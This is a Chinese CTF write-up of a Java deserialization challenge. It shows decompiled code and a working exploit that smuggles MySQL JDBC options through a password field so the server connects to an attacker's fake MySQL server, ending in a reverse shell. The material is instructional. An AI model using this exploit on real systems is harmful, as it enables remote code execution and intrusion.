羊城杯2020 a_piece_of_java

反编译jar包后观察路由:

@PostMapping({"/index"})
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", this.serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

通过/index路由注册一个cookie,再进入/hello路由中通过deserialize函数对cookie进行反序列化,相关函数如下:

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception var5) {
            Exception e = var5;
            e.printStackTrace();
            return null;
        }
    }

来看导入了哪些第三方依赖:

image-20241112110722088

commons-collectionsjacksonlog4jspring-boot都有,但是又有白名单输入流限制:

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>

    </blacklist>
    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>
</config>

只能使用这两个包的内容。查看gdufs中有一个重写的InfoInvocationHandler:

package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
    private Info info;

    public InfoInvocationHandler(Info info) {
        this.info = info;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
        } catch (Exception var5) {
            Exception e = var5;
            e.printStackTrace();
            return null;
        }
    }
}

还有一个DatabaseInfo:

public class DatabaseInfo implements Serializable, Info {
    private String host;
    private String port;
    private String username;
    private String password;
    private Connection connection;

    public DatabaseInfo() {
    }

    public void setHost(String host) {
        this.host = host;
    }

    public void setPort(String port) {
        this.port = port;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getHost() {
        return this.host;
    }

    public String getPort() {
        return this.port;
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public Connection getConnection() {
        if (this.connection == null) {
            this.connect();
        }

        return this.connection;
    }

    private void connect() {
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

        try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception var3) {
            Exception e = var3;
            e.printStackTrace();
        }

    }

    public Boolean checkAllInfo() {
        if (this.host != null && this.port != null && this.username != null && this.password != null) {
            if (this.connection == null) {
                this.connect();
            }

            return true;
        } else {
            return false;
        }
    }

    public String getAllInfo() {
        return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
    }
}

很明显打的是JDBC反序列化,构造EXP:

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws IOException {
        //设置好DatabaseInfo类的相关属性以实现jdbc反序列化
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("XX.XX.XX.XX");
        databaseInfo.setPort("3309");
        databaseInfo.setUsername("uddbebf");
        databaseInfo.setPassword("uddbebf&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");//构造JDBC字符串拼接,开启autoDeserialize,queryInterceptors触发反序列化。

        //将DataBaseInfo实例,封装进Proxy类 使用动态代理
        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        //使用InfoInvocationHandler的invoke方法触发databaseInfo的connect方法
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        //输出反序列化字符串
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(proxy);
        oos.flush();
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

这里使用工具web-chains启动fake-mysql服务:

image-20241112173904158

随便选择一条存在漏洞的第三方库的链子即可:

image-20241112174008338

将生成的username填入上面的EXP中,生成base64字符串拿去/hello路由下触发反序列化:

image-20241112174224603

成功触发反弹shell,拿到flag:

image-20241112174304622


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com